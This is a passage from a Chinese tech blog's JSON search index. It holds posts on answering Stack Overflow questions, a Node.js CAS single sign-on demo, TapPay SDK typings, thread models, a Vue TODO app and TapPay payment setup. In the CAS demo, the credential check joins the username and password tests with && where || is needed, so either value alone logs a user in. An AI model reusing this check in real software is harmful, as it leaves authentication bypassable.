OAuth与SSO、REST有哪些区别与联系","link":"/2020/04/13/sso-vs-oauth/"},{"title":"Stack Overflow 回答體驗心得以及如何問好問題","text":"前言說到 Stack Overflow 工程師們一定不會陌生這是從小(?)看到大的一個網站有問題就估狗找一下, 很多解答都會在 Stack Overflow 裡面出現 最近假日閒來無事, 想著不如我也來上去貢獻回答看看別人好了就這樣開始回答問題了, 大概花了三個禮拜在上面找問題回覆 不過使用 Stack Overflower 之後一直以為 Reputation 越高, 就是回答問題越多, 但實際上不是Reputation 的增加, 是透過回答問題, 問問題以及修改別人的問題或是答案來加分 而在這過程中, 也發生過問的問題不精準又或是沒提供詳細的資訊導致回答的人很難去回答問題, 這裡會在後面介紹案例介紹完案例之後, 會根據每一個問問題的案例中所缺少的要點整理成如何問好一個問題做結束 簡單機制介紹分數計算最基本的問問題是無法獲得分數的而回答或是問題, 並且被其他人 Upvote 的話可以得到 10 分Downvote 則是會 -2 分若被發問者選為最佳解答, 則是額外再加 15 分所以單純回答問題是不會有任何分數的另外 comment 也是完全不會算分數的唷其他詳細可以看官網寫的機制 What is reputation? How do I earn (and lose) it? Privilege除此之外, 隨著 Reputation 越高, 可以做的權限越多例如他會出一個 Review List 讓 Reputation 高的人去審閱說問題是否清楚或是第一次貼文的文章內容有沒有需要改善 以下圖來說, Stack Overflow 就會把第一次發問的文章讓你去 Review 看問得好不好若像是沒有加 tag 或是語意不通順, 都可以幫發問者修改若修改成功, 也會獲得額外的分數官網有列出所有權限可做的事情, 有興趣可以看看 Badge至於 Badge 的部分, 分成『金』『銀』『銅』三種例如說第一次回答問題之後, 就會獲得『Teacher』銅牌 Badge第一次問問題的話, 就會獲得『Student』銅牌 Badge但也有像是一天獲得 200 以上 Reputation 的 Badge官網有列出所有 Badge 有興趣可以看看 Profile 頁面那因為回答和問問題都會算分, 所以從分數上很難判別這個人到底是很會回答還是很會問所以在 Profile 的頁面可以看到這樣的結構 javascript tag 右邊可以看到 score 和 post 的數字post 越高, 代表這人關於 javascript tag 的相關文章越多score 越高, 代表這個人回答 javascript tag 獲得的 upvote 越高以上圖來說, 回答 javascript tag 的文章有 19 篇, 獲得的 upvote 則有 18 個 心得個人算分如下 (截至 2020-12-01)初次登入獲得 1 分透過回答獲得 590 分 (35 篇回答, 35 upvote * 10, 16 best answer * 15)修改文章獲得 8 分目前總計為 599 分 上面這是 iframe 去嵌入 Stack Oveflow 的頁面, 所以會隨當前分數變動 那根據問題和答案類型可以分成以下幾種類型每一個案例都會挑我有回答過的去介紹 語言特性 使用工具或是服務 原理 資料結構 不精準提問 這裡會介紹幾個案例是筆者透過 comment 一來一往才問到發問者真正想解決什麼問題 語言特性筆者是比較熟悉 javscript & node.js 所以問題都是挑這些居多目前最常遇到的就是對 async-await 和 promise 的機制不熟悉的狀況這種問題都相對單純一點 案例一以下是對 async-await 流程不熟悉 nodejs async/await placement for multiple functions How to handle async forEach, pass results into database and then render complete data set 案例二以下是對 promise 使用不了解 How can return false value promise method in node if array is empty and vise versa 案例三接著是混合兩者, 不清楚 node.js 本身應該要怎麼去實作 callback 或是 promise How to implement a callback in Node’s app.get function? 這些回答起來都相對單純, 因為這幾個問題都有附上程式碼所以一看程式碼很快就知道問題出在哪裡 但像是這個問題 nodejs async/await placement for multiple functions其實發問者也已經提供很完整的思路跟想要問什麼他是可以在本地實驗跑看看結果會產生什麼, 就可以不用到 Stack Overflow 上來了 使用工具或是服務工具定義指的是類似 express ejs pug 等等其他第三方套件服務定義指的是其他第三方 API 或是 AWS 這種這邊的問題就相對比較麻煩, 因為如果沒有實際使用過很難回答但有些問題是可以透過查詢官方文件就能夠回答的問題 案例一有個問題是 NodeJS cloudinary search API by context 關於 cloudinary 的 API實際上筆者也沒有串過, 於是特別為了這個問題去申請帳號去測試但有趣的是, 在文件上和使用方法上, 真的沒有一個可以達到這個人的目的我還特地去翻 Node.js SDK source code 看官方怎麼寫和最後 API 怎麼打的但當下真的沒有找到, 隔了一兩天去估狗才找到真正的用法而且這用法的教學, 還是在 Stack Overflow 上面發現的 XD才知道原來是這種用法官方文件沒有特別標註起來, 所以很難發現使用方法 案例二另一個問題是關於 AWS AmplifyExpressJS using EJS fail to load static assets when deployed on AWS Amplify但不巧的是, 筆者也沒有用過, 所以一開始回答是針對他的資料夾結構去判斷哪裡可能出了問題到後面透過 comment 一問一答, 才發現原來他想要的是 serverless 的架構而我一去查才發現 Amplify 其實是沒辦法達到他 express + ejs 的需求其實在 Amplify faqs 裡面, 有詳細的講到 Amplify 是適用於哪一種服務這裡筆者犯了一個小錯誤, 其實應該要先看 Amplify 適用於哪一種服務, 就可以在第一次回答解決他的問題了 若是真的有 express + ejs 解決方案也歡迎分享給我 案例三 這個是關於 express + pug 的使用方式Trying to iterate over JSON in Pug but keep getting length error發問者雖然有看文件, 但看的地方卻看錯了因為他給的範例程式碼有用到 app.get 所以應該是要搭配 express但他卻說他用 cli 去 render pug 頁面, 這樣就跟他給的程式碼有所衝突這就回答他該怎樣一步一步做去正確做到其實很多文件的 Getting Started 都寫得很清楚, 只要從 Getting Started 開始看基本上都是能用的像這個 pug 的官方文件的 Getting Started 就有提到要安裝 express只是它可能沒有一步一步的去說明, 導致有些初學者會搞混使用方法 資料結構這類型問題大多是從某個資料結構要轉成另一個資料結構但發問者可能不知道怎麼轉比較好 下面就是處理資料結構轉換的相關問題, 都是蠻單純的轉換 Merging objects from array with the same key value How to merge two array and sum their value? How could I separate each JSON object and group them to an array in JavaScript? 這類型的題目很有趣, 可以看到很多人一起回覆每個人的寫法都會很不一樣, 有點像是另類的 LeetCode有趣的是, 上面的人回答大部分很喜歡用 reduce 去回答有可能是倖存者偏差, 剛好那些問題都是很適合用 reduce 去解答(?而且每次我一按送出, 瞬間就會多出其他 2-3 個答案, 根本就搶答案大賽 XD 另外有些人寫法會用那種 one-line program 去回答不過個人很不喜歡 one-line program雖然使用上方便, 但到最後扯到維護或是接手的人能不能看得懂 code 又是另一回事除非不會有人接手一次性專案, 那就可以考慮看看了 XD這類型回答我都會偏向寫的比較通俗易懂和避免時間空間複雜度太高的問題寫扣簡單, 寫出大家都看得懂的扣才是高手 XD 原理原理指的是程式運行的原理, 這跟語言特性也會有相關性但因為問的問題是屬於應用類性, 並不算語言特性那因為原理不了解導致應用錯誤, 所以就歸類在此類 案例一接著是 sending POST request to express route - after receiving form data, res.render is not triggered這就是對於 Ajax 和 Form submit 機制的不熟悉值得一提的是, 還好他內容有寫一句話 (through fetch) 不然我可能會很難回答他的問題有興趣可以看看原本的內文, 而這篇的回答, 改天有時間再寫另一篇文章起來 案例二接著是 vue + express 組合的運行問題When express and vue js are connected, the default address is accessed一般來說寫 vue 比較難跟 express 扯上關係但如果要用 express 去 hosting vue 的東西, 但又要保留原本 exprss api 甚至 ejs/pug redner 機制的話這會需要額外的調整, 但在調整之前要先了解請求進來後怎麼運行的才有辦法設定所以針對這個問題去解釋整個原理, 而這篇的回答也會在挑個時間寫成一篇文章 案例三再來是 express + csurf 的問題CSRF doesn’t work on the first post attempt這個題目其實蠻有趣的, 花了我一點時間研究才發現, 原來是 csurf 本身這個套件 bug 導致這個問題的 (cookie 模式下)這會歸類在原理的原因是, 這問題牽涉到的是 csurf 底層實作的原理有關只是後來這個發問者是透過把 cookie 模式改成 session 模式去避免掉這問題並把原因歸咎在 session 跟 cookie 一起使用後導致的結果, 但實際上不是這樣單純只是 csurf 底層實作機制導致的 bug 而已 個人還蠻喜歡回答這類型的題目一來是重新省思自己有沒有真的了解原理二來是要用淺顯易懂以及舉例的方式去說明原理 不精準提問不精準提問指的是問問題的人沒有適當的表達想要的東西以及為什麼要這樣做又或是沒有提供相對應的資訊又或是本身問題方向就已經偏了 以上狀況都可能導致回答問題的時候, 沒有辦法短時間內成功回覆必須透過長時間一來一往的 comment 才能找到問題本質下面案例會看到問問題的人都會被 downvote, 可見在別人看來這問題不是很好 (我是都沒有 downvote 別人拉 XD) 案例一Vanilla JS Unexpected token A in JSON at position 141 json.parse()題目是問 JSON.parse 的問題, 但其實他不是要問這個他真正想做的是要比對使用者點擊的文字和儲存的資料是否一至這件事並且要正確顯示 " 這個符號在頁面上導致讓我第一次的回答沒有回答到他想要的結果上因為他真正的目的是別件事, 並不是問題所描述的 案例二再來原本的題目是 How to use esprima? (Or how to insall a nodejs module?)看了他提出的問題發現他是用 npm install -g esprima 去裝模組導致他執行的那個 js 讀取不到, 資料架底下的 node_modules 然後就跟他說不能用 -g 去裝結果他回答卻是說, 他希望裝一次就好, 然後任何地方都要可以使用經過這樣確認後, 就知道他的問題應該是如何 require global module所以最後他就把題目改成『How to use a global nodejs module?』所以這也是一樣, 並不知道他是為了什麼而想要做這件事情, 文章內容也沒有特別提到導致第一次回答不是他要的 案例三再來是本身問問題方向就稍微有點錯誤, 但我還是嘗試通靈去解答, 結果還真的被矇對Changing JSON values with fetch他的問題是用了 fetch api 之後, 原本用 archive: true 狀態沒有更改, 但用了 read: true 卻可以這其實很困惑, 因為也不知道是改資料庫內容還是改了什麼內容但幸好他有提供一段使用 fetch api 的程式碼, 一看發現程式碼放的位置不是在 then 裡面所以是因為還沒等到 server response 就直接呼叫其他 function, 導致看起來狀態沒有更改到這種就屬於資料提供不完整 如何問好問題所以問問題真的是一種技巧, 要在問問題前要先做兩件事情 先 Google 過, 中英文都要 有時候關鍵字不同查到東西也不一樣 特別是中英文的關鍵字 翻翻官方文件, 大部分的官方文件其實都會提到一些細節甚至到理論 先去官方文件走一趟也是一種方式 接著才是到真正問問題的地方, 注意以下幾點, 才不會造成無謂的一來一往而浪費時間 明確告訴別人你『為什麼』想做這件事情, 不要成為 X-Y 問題者 除了為什麼, 也要告知別人『預期想要結果是什麼』 已經試過哪一些 solutions, 以及目前得到的結果是什麼 先提過試過的 solution 以及明確得到的結果, 回答問題的人比較能夠知道問題出在哪 盡力準備足夠的資訊, 並在問問題的時候一併附上 但有些事是真的很難確定要提供什麼資訊上去才真正有用 這個就需要一點經驗去判斷, 大體來說是什麼樣的資料會影響到你目前的流程 就可以把相對的資料提供上去好讓別人參考 但要注意, 不要一股腦地全部就貼上去, 貼『重點』就好 不管是文字或是當面問問題, 需要把問題順過一次, 以邏輯最清楚的方式去問別人 不過文字的部分, 一定要注重排版, 例如說程式把一定要用 code block 去弄 若是直接貼純文字版本, 看的人也會很痛苦 問問題的人是有責任讓要回答的人看得舒服且清楚的 (個人經驗 最最最最重要的一點, 一定要有禮貌 但不是說直接把程式碼丟上去, 其他內容也沒打詳細 然後最後留一個謝謝, 這樣不叫做禮貌喔 XD 而回答問題的人, 其實也是需要技巧當回答問題的時候, 有些地方可能想要確認, 所以會經過一來一往的討論此時是要問對問題才能引導發問者到正確的癥結點進而找到問題點","link":"/2020/12/01/stackoverflow-experience/"},{"title":"Single Sign On 實作方式介紹 (CAS)","text":"前言CAS 全名是 Central Authentication Service一個獨立的認證服務, 概念是在使用服務之前如果是沒有登入的使用者, 會先被跳轉到認證服務的地方進行登入登入成功之後就會被導回去原本使用服務的頁面 題外話, 這裡的英文 Authentication 是有含義所在的代表判斷使用者是不是他所宣稱的人, 通常會透過使用帳號密碼或是郵件等等方式進行認證而認證成功後, 有沒有被授權存取服務的權限則是另一個單詞 Authorization通常代表, 判斷使用者有沒有權限可以存取資源, 例如要修改個人資料有沒有權限等等 角色在介紹流程之前, 先定義四個角色 使用者: 就是我們使用者 應用服務 A : 使用者必須要登入後才能使用的 A 服務 (AP 1) 應用服務 B : 使用者必須要登入後才能使用的 B 服務 (AP 2) CAS Server: 使用者被導轉到需要輸入帳密登入的地方 第一次登入使用 A 流程 使用者開啟應用服務 A 的頁面, 但使用者尚未登入獲得認證, 並點下登入按鈕 使用者被導轉到 CAS Server 的登入頁面 使用者在 CAS Server 進行登入 使用者登入成功之後, CAS Server 會寫入一個 cookie 在 CAS Server 的網域下並產生 session 使用者被導轉到應用服務 A 頁面, 此時導轉網址的 Query String 會有剛剛 CAS Server 寫入的 cookie 資料 應用服務 A 拿著剛剛的 cookie 資料, 送往到 CAS Server 進行驗證 驗證成功, 生成自己的 cookie & session 給這個客戶使用 接著進行登入成功的頁面, 開始使用服務 A 第二次登入使用 B 流程 使用者開啟應用服務 B 的頁面, 但使用者尚未得到應用服務 B 的認證, 並點下登入按鈕 使用者被導轉到 CAS Server 此時因為在第一次登入 CAS Server 已經寫入 cookie CAS Server 的網域 當使用者被轉到 CAS Server 後, CAS Server 會取得此使用者的資訊 就知道此使用者已經登入過, 所以不需要重新登入 此時 CAS Server 把使用者導回應用服務 B 上 導轉到應用服務 B 的時候, 此時導轉網址的 Query String 會拿到 CAS Server 的 Cookie 資料 應用服務 B 拿著剛剛的 cookie 資料, 送往到 CAS Server 進行驗證 驗證成功, 應用服務 B 生成自己的 cookie & session 給這個客戶使用 接著進行登入成功的頁面, 開始使用服務 B 為何要驗證 ticket 是因為導轉回來的 query string 是可能被更改的所以要先確保回來的 ticket 真的是 CAS Server 給的, 而不是哪一個駭客幹的在 DEMO 專案裡面, 每一段我都有加上 checksum這是為了保證這一定是 CAS Server 傳送的 (達到資料一致性) 實作 CAS 流程講完流程就要來用程式實作整體流程先附上個人撰寫的 CAS 測試專案(Node.js 版)可以到 github 去 clone 下來玩玩為了練習點英文, 所以那專案的 README 是用英文寫, 寫不好請見諒 XD Workflow 快速介紹這裡在快速把流程帶過一次 在第一次使用 AP1 的時候, 點了 login url 之後會被導轉 CAS Server此時會進行登入, 需要進行帳號密碼驗證, 登入成功後會進入到 AP1 manager 頁面 此時進入到 AP2, 點了 login url 是先被導轉到 CAS Server但因為 CAS Server 有辦法識別此 cookie 是已經登入過所以不用再驗證帳號密碼,接著被導轉到 AP2 manager 頁面原因是, 我已經登入過了, 就不用再登入了 下面會針對 AP Server 和 CAS Server 的重點程式碼進行說明 AP Server 機制進到 AP 的登入頁面後, 裡面會有一個 url, 點了就會被跳轉到 CAS Server但因為你要告訴 CAS Server 你是從哪邊跳轉過來的, 這樣登入成功後 CAS Server 才有辦法把你跳轉到原本的頁面所以會需要附上 URL, 這邊為了安全機制有加上 checksum, 不然輸入任何網址 CAS 都會跳轉過去喔! 1234567// ap server nodejs code, 這裏採用 ejs 模板去渲染頁面, 頁面的程式碼看下面那段 ejsapp.get('/', (req, res) => { res.render(\"ap1_index\", { checksum: getHmac(URL), serviceUrl: URL })}) 1234<!-- ap server render ejs 的頁面, 也就是 ap 的登入頁面 --><h1>this is AP1</h1><% let url = \"http://test.cas-example.com:3000/?checksum=\" + checksum + \"&serviceUrl=\" + serviceUrl; %><a href=<%= url %>>go to login <%= url %> </a> 接著成功登入 CAS 之後, AP 會需要重新拿著 CAS 給的 ticket 去驗證此人是否真的存在這邊 status = 200 代表成功, 如果檢測成功, 就會跳轉到 managr 頁面就完成登入了 這裏的 ticket 可以想像是登入成功後的一組識別碼就像去飲料店買飲料拿到的號碼牌一樣, 用此號碼牌就可辨別是誰買的飲料在這邊的號碼牌就是辨別誰已經登入成功 12345678910// ap server nodejs code// 去向 CAS Server 驗證此 ticket 是否有效const response = await axios.post(\"http://test.cas-example.com:3000/verify\", { ticket, checksum: getHmac(ticket),}).then((response) => response.data);if (response.status === 200) { req.session.login = true; return res.redirect(\"/manager\");} 而 AP 的 manager 頁面也要做點限制, 除了認證成功以外的就不允許進到這頁面1234567// ap server nodejs codeapp.get('/manager', (req, res) => { if (!req.session.login) { return res.redirect(\"/failed\"); } res.render(\"ap1_manager\")}); CAS Server 機制剛剛提到 AP 會帶著需要告訴 CAS 結束後要跳轉回來的地方下面那段程式可以看到資訊正確的話, 最後會 redirect 到 serviceUrl這個 serviceUrl 就是 AP 提供的而其他 session 部分就是為了保存下次同樣使用者再來的時候, 就會被判定早已登入過1234567891011// CAS Server nodejs code// 登入成功執行此段程式碼的最後一段, 就會被跳轉回去當時 AP 提供的 serviceUrlif (username !== \"123\" && password !== \"123\") { return res.redirect(\"/bad\")}req.session.login = true;req.session.userInfo = {};const ticket = require(\"randomstring\").generate(10);DB.set(ticket, serviceUrl);req.session.userInfo[serviceUrl] = ticket;res.redirect(`${serviceUrl}?ticket=${ticket}&checksum=${getHmac(ticket, serviceUrl)}`) 下面這段 code 就是當使用者被判定登入過的話, 就可以給一個 ticket 然後就直接跳轉過去而不需要再去判斷 username 和 password 是否正確123456789101112// CAS Server nodejs codeif (req.session.login) { if (req.session.userInfo.hasOwnProperty(serviceUrl)) { const ticket = req.session.userInfo[serviceUrl]; return res.redirect(`${serviceUrl}?ticket=${ticket}&checksum=${getHmac(ticket, serviceUrl)}`) } const ticket = require(\"randomstring\").generate(10); DB.set(ticket, serviceUrl); req.session.userInfo[serviceUrl] = ticket; return res.redirect(`${serviceUrl}?ticket=${ticket}&checksum=${getHmac(ticket, serviceUrl)}`)} 重點程式碼就介紹到這篇, 剩下的可以直接 clone 我的 CAS 測試專案(Node.js 版) 玩玩看至於其他程式碼就是做一些保護機制、錯誤訊息顯示簡單的 DB讓在執行流程順暢以及比較知道執行時到了哪一個步驟 DEMO 後記在現實使用狀況上, 還需要考量各種狀況和安全機制而且現實使用上除了要加上 https, cookie 也要設成 httpOnly Secure 去防止駭客竊取這部分就要花費蠻多功去討論, 就留給未來看哪天會寫寫這個主題 XD","link":"/2020/04/20/sso-2/"},{"title":"TapPay Web SDK 串接 - @types/tpdirect 介紹","text":"前言非常非常久以前寫過一篇 TapPay 串接的文章但可惜的是 TapPay 沒有前端 npm 套件可以下載使用所以在串接前端的其實都不會有智能提示跳出來, 其實有點不方便於是就弄了一個 @types/tpdirect 在還沒使用 @types 之前就像下圖在寫 code 的時候是不會跳出任何提示這在撰寫程式起來其實是非常不方便的 但由於 sdk 沒有 npm 可以下載, 但是定義檔這東西是可以自己做的於是筆者就做了一個定義檔發到 @types/tpdirect 用法先透過 npm install @types/tpdirect --save-dev 下載定義檔那這個 @types 帶來的好處是什麼?我們就直接上圖先來看結果吧!(此兩圖皆為在 vue script tag 下寫的) 沒錯, 透過定義檔在寫 JS 的時候, 就會有提示可以跳出來目前筆者在 vue, react, ts 以及純 js 裡面都是可以用的但環境的話, 目前是只有在 vscode 進行測試過不太確定其他 IDE 也能不能吃 那 vscode 有一個快捷鍵式 command + i (mac command / windows control)假設在針對 function 要帶入的參數時, 只要先寫好 {} 並把鼠標停留在裡面接著按下 command + i 就可以跳出提示現在還剩幾個參數要帶入, 效果如下圖 但要注意的是, 裡面屬性和方法皆是由定義檔產生出來的並不是根據 SDK 本身擁有的屬性和方法出現的定義檔萬一定義 methodA, 但實際 SDK 是叫做 methoda結果寫程式的時候, 因為提示跳了 methodA, 於是寫了 methodA這樣等到實際執行的時候就會爆出錯誤說找不到 methodA因為實際 SDK 擁有的方法是 methoda 後記透過這種方式寫扣, 就可以很快地寫完但這種定義檔不是官方提供的, 還是得看有沒有其他人持續在維護那因為受惠 @types 蠻多的, 於是就起頭先建立一個希望這能幫到其他人","link":"/2020/12/12/tappay-payment-2/"},{"title":"Thread Model 介紹","text":"介紹在學習各個語言底層如何去操作 Thread 時都會看到一個名詞 Thread Model也就是不同語言開 Thread 的方式都不太一樣舉例來說, 會看到某些文章寫出以下類似的結果 1234Ruby 1.8 1:N, aka Green threadsJava 8 1:1, 但某個版本之前都是使用 1:NRuby 1.9 1:1, 但使用 GILGo 1.1 M:N, 確切說 M:P:N 比較好, 但這邊先讓我用 M:N 而這 1:1 1:N M:N 代表什麼意思呢?而 Go 裡面提到的 M:P:N 又是什麼鬼呢? User space & Kernal space在往下講之前, 我們必須先談談作業系統的一個特點在整個作業系統中的虛擬記憶體空間被區分成兩塊區分這兩塊是記憶體保護機制的一環 User space 我們常使用的軟體, 例如瀏覽器, 甚至是 bash command 也屬於這一環 Kernal space 能呼叫系統一切的資源, 例如 file system, network 等等 而在 User space 的程式是不允許直接對 Kernal space 的資料做存取所以在我們使用的軟體上要能夠建立檔案或是發出網路請求往往是透過 system call 到 Kernal space 要求更高的權限進而去完成功能 這都是為了不讓在 User space 的程式惡意亂搞 Kernal space 的資料像是 User space 的程式故意佔著大量 CPU 資源不放或是更改作業系統架構等等 可以把以上的情況想像成下面的情境 作業系統很像一個國度, 此國度是採取國王制度國王掌握了核心的權利, 包含分配食衣住行等等權利國王希望保護全體住民於是安排一個騎士保護一個住民的方式還是安排一個騎士保護多個住民的方式依據不同情竟有不同好壞 這概念也是待會講 Thread Model 時會提到 Thread Model依照上面定義的兩種 space, Thread 也會被切成兩種形式 User-Space Thread 在應用程式中創建 Thread, 而這個創建並不是透過 system call 去建立的 所以這裡的 Thread 並不是指 OS 實際執行的 Thread 而是透過操作 stack pointer 讓 OS 實際執行的 Thread 去執行指定的 User-Space Thread 通常 OS 是不知道 User-Space Thread 的存在, 所以透過 ps 指令是看不到的 換句話說, User-Space Thread 是交由應用程式去管理, 並不是交給 OS 管理 Kernal-Space Thread 一個執行中的程式就被稱為 Process 而每一個 Process 都有一個實際的執行者, 也就是 Kernal Thread Kernal Thread 則是 CPU 執行的最小單位, 這些 Thread 都會交由 OS 去管理 講到這裡一定會對於如何實作 User-Space Thread 感到疑惑建議可以看這個 Repo, 這是明尼蘇達大學出過的一個作業要實作 User-Space Thead library, 裡面有比較簡化版本的程式可以看看通常是會用到 setjmp/longjmp, signal 這兩種方式詳細可以看看這篇文章有簡單實作切換 User-Space Thread 的機制 但要注意的是常常會有叫做 Pthread 的東西出現在 Thread 相關文章之中它只是一種規格定義, 可以提供給 User-Space / Kernal-Space 去實作但在搜集資料過程中, 有些文章都把 Pthread 定義成在 User-Space 的範疇了若要確認文章說的 Pthread 是哪個部分, 就必須看上下文才知道 這種 User-Space Thread 就是只存在於 User-Space, 不會透過 system call 去建立 Kernal Thread但帶來的問題就會是, 一般來說一個 Process 中實際執行的 Kernal Thread 只有一個萬一 User-Space Thread 被 block 的話, 整個 Kernal Thread 也會被 block 接著進入正題來開始介紹各種不同 Thread Model下面寫法都是按照 Kernal-Space Thread - User-Space Thread 順序寫的 1-N (one to many) 實際執行程式的 Kernal Thread 只會有一個所以當有一個 User-Space Thread 中有被 blocked 的情況, 程式就完全沒辦法執行了因為分給此 Process 的 Kernal Thread 就只有一個 1:1 (one to one) 一樣會發生當有條 Thread 被 blocked 的話, 那條 Thread 會卡住但程式依舊可以運行, 因為 Thread 之間是不會互相影影響的 以 Java 來說就是經典的 1:1 的模式配合 spring + tomcat 的話, 就是一個請求進來一個 Thread看似不錯, 但當 Thread 開太多的時候也是會造成系統處理效能降低 M:N (many to many) 而顏色同樣的代表是被 Kernal Thread Schedule 安排下的 Thread 去處理可以看到實際上 Kernal Thread 會有三條其中有一條 Thread 1 處理完 C 之後再去處理 D 但這圖上的 M:N 也只是簡易版本的安排方式, 還是會有一些問題存在所以會有一些變形像是 Golang 中 goroutine 的實作方式, 就優化成 M:P:N 的方式處理詳細可以參考 Java’s Thread model and Golang Goroutine 或是 The Go scheduler 後記關於 Thread / Process 相關的文章其實已經很多了這邊就是以個人特別關注的角度把它寫成一篇文章另外對於 User-Space Thread 實作還蠻感興趣的之後有機會再來試著實作看看 References Wiki - User Space Wiki - Green threads Wiki - Thread(computing)) What are threads (user/kernal) Concurrent Programming with Ruby and Tuple Spaces 第七天 Thread(執行緒)–下","link":"/2021/07/15/thread-model/"},{"title":"TODO - vue + vuex + vue-router","text":"這篇文章主要在記錄如何用 vue + vuex + vue-router做出一個簡單的 TODO List 專案DEMO 網站Source Code 先來訂一個 TODO List 的簡單需求表 能夠輸入項目 能夠打勾確認完成 能夠刪除項目 能夠選擇顯示全部, 未完成, 完成的項目 程式部分則會分為一個 vuex store 和三個 components 專門控管資料的 store 輸入項目 component 顯示項目 compoent 選擇完成狀態的 component 專門控管資料的 storestore.js12345678910111213141516171819202122232425262728293031import Vue from 'vue';import Vuex from 'vuex';Vue.use(Vuex)const store = new Vuex.Store({ state: { lists: [], status: '', // 去更新要顯示什麼狀態的項目 counter: 0 // 當作 increment id 用 }, // 宣告可以更改的方式 mutations: { addItem (state, new_item) { state.counter += 1 new_item.id = state.counter state.lists.push(new_item) }, changeStatus(state, id) { state.lists = state.lists.map((list) => { if (list.id === id) list.is_completed = !list.is_completed return list }) }, deleteItem(state, id) { state.lists = state.lists.filter((list) => { if (list.id === id) return false; return true; }) } }})export default store; 輸入項目 componenttodo-input.vue12345678<div> <form class=\"ui form\" @submit.prevent=\"submit\"> <div class=\"field\"> <label for=\"\">List</label> <input type=\"text\" v-model=\"item\"> </div> </form></div> 12345678910111213141516export default { data() { return { item: '' } }, methods: { submit() { this.$store.commit('addItem', { name: this.item, is_completed: false }) this.item = '' } }} 顯示項目 componenttodo-item.vue1234567891011121314151617181920212223242526272829303132<div> <table class=\"ui table stackable fixed\"> <thead> <tr> <th colspan=\"3\">Item</th> </tr> </thead> <tbody> <tr v-for=\"(list, index) in lists\"> <td :class=\"{completed: list.is_completed}\"> {{list.name}} </td> <td> <!-- 綁定 done method, 並傳入 id 去做勾選完成--> <button class=\"ui icon inverted green button\" @click=\"done(list.id)\"> <i v-if=\"list.is_completed === false\" class=\"checkmark icon\"></i> <i v-else class=\"reply icon\"></i> </button> </td> <td> <!-- 綁定 remove method, 並傳入 id 去做刪除 --> <button class=\"ui icon inverted red button\" @click=\"remove(list.id)\"> <i class=\"trash icon\"></i> </button> </td> </tr> </tbody> </table></div><style scoped lang=\"css\">.completed { text-decoration: line-through}</style> 123456789101112131415161718export default { computed: { status () { return this.$store.state.status }, lists() { return this.$store.getters.filtered_list } }, methods: { remove(id) { this.$store.commit('deleteItem', id) }, done(id) { this.$store.commit('changeStatus', id) } }} 選擇完成狀態的 coomponenttodo-display.vue1234567<div> <select class=\"ui dropdown\" v-model=\"status\"> <option value=\"\">Show All</option> <option value=\"done\" selected>Show Done</option> <option value=\"nondone\">Show None-done</option> </select></div> 123456789101112export default { computed: { status: { get () { return this.$store.state.status }, set (value) { this.$store.commit('setFilter', value) } } }}","link":"/2017/09/23/todo-vue/"},{"title":"如何串接上 TapPay 並完成第一筆交易!","text":"[Update 2020-12-12] TapPay Web SDK 串接 - @types/tpdirect 介紹 這篇文章主要是說明如何使用 TapPay 這個服務TapPay 是一家金流廠商,主要都是做線上金流,詳細就不多說有興趣想要詳細了解可以去參考官網 https://www.tappaysdk.com 最近剛好被派去串接 TapPay 的服務,就順便把整個流程給記錄下來了這邊會以 Web 服務為主去做範例,完整程式碼,請參考最下面 環境設置 TapPay Portal 申請 要拿到以下的值才有辦法作後續的付款 App Key (應用程式頁面) App ID (應用程式頁面) Partner Key (帳號資訊頁面) Merchant ID (商家管理頁面) 程式部分 前端: HTML + Javascript + CSS 後端: nodejs (v6) 網域部分 設置 /etc/hosts這邊要特別注意,要去 /etc/hots 底下設置跟在 TapPay Portal 所建立的 domain 一樣才有辦法 Get Prim,否則會一直出現 CORS 的問題待會在細部流程的時候會做介紹 測試卡號 測試卡號可以參考這裡 https://docs.tappaysdk.com/tutorial/zh/reference.html#test-card card number 4242424242424242 month 01 year 23 ccv 123 流程介紹主要分成以下幾個步驟 前端 使用 TapPay SDK 設置好輸入卡號的表單 按下按鈕觸發 TapPay 的 GetPrime 方法 拿到 Prime 把 Prime 送到後端 後端 拿到前端送來的 Prime 把 Prime 加上其他所需參數送往 TapPay Server 完成付款! 程式撰寫 - 前端根據最新的 SDK 發佈的方法, 可以直接在一個 element 底下把卡號輸入表單塞進去 HTMLHTML 分成兩個部分 建立好一個 div 準備等等被塞入輸入卡號表單 建立好 trigger button 來觸發 Get Prime 方法 123456789<div style=\"width: 480px; margin: 50px auto;\"> <label>CardView</label> <!-- 這是我們要塞表單的地方 --> <div id=\"cardview-container\"></div> <!-- 這是我們要觸發 GetPrime 方法的地方 --> <button id=\"submit-button\" onclick=\"onClick()\">Get Prime</button></div> JavascriptJavascript 分成三個部分 初始化金鑰 植入輸入卡號表單 觸發 getPrime 方法 12345678910111213141516171819// 設置好等等 GetPrime 所需要的金鑰TPDirect.setupSDK(APP_ID, \"APP_KEY\", \"sandbox\") // 把 TapPay 內建輸入卡號的表單給植入到 div 中TPDirect.card.setup('#cardview-container')var submitButton = document.querySelector('#submit-button')function onClick() { // 讓 button click 之後觸發 getPrime 方法 TPDirect.card.getPrime(function (result) { if (result.status !== 0) { console.err('getPrime 錯誤') return } var prime = result.card.prime alert('getPrime 成功: ' + prime) })} 沒錯!你沒看錯,不到 30 行但是,這邊要注意到一個地方,如果你 Get Prime 之後沒有任何反應打開開發者模式後卻看到了這個getPrime 錯誤題外話,如果並不使用 TPDirect.card.setup 版本的話而是自己實作整個流程,則會看到 CORS 的紅字 這個代表你開發的網域和你在 TapPay Portal 上面所填寫的網域是不一樣的這就是一開始在環境設置提到的 /etc/hosts 有關係 假設你未來可能要使用的網域是 example-tappay.yujack.com 的話請到 /etc/hosts localhost 下面加上一段 12127.0.0.1 localhost127.0.0.1 example-tappay.yujack.com 然後回到網頁上把 URL 從http://localhost:8080/ 改成 http://example-tappay.yujack.com:8080/這樣 Get Prime 就會成功了! 不過要注意,如果你未來要用的網域是已經在用的話在 /etc/hosts 底下是上去是沒有用的所以切記用一個沒在用的網域做測試否則 .. 你只好直接部署上去測試了 程式撰寫 - 後端小弟我是習慣用 nodejs 撰寫後端伺服器所以這邊會以 nodejs 去做付款的動作前端 Get Prime 成功之後, 就要把這組 prime 送到後端了 建立 NodeJs server12345678910111213141516171819const express = require('express')const app = express()const bodyParser = require('body-parser')const https = require('https');const PORT = 8080app.use(bodyParser.json())app.use(bodyParser.urlencoded({ extended: false}))app.use('/', express.static(__dirname + \"/html\")) //serve static contentapp.post('/pay-by-prime', (req, res, next) => { // 必須要把程式實作在這邊})app.listen(PORT, () => { console.log('Connet your webiste in the http://localhost:8080/');}) 實作 Pay by Prime接下來要實作 pay-by-prime 的程式要加到 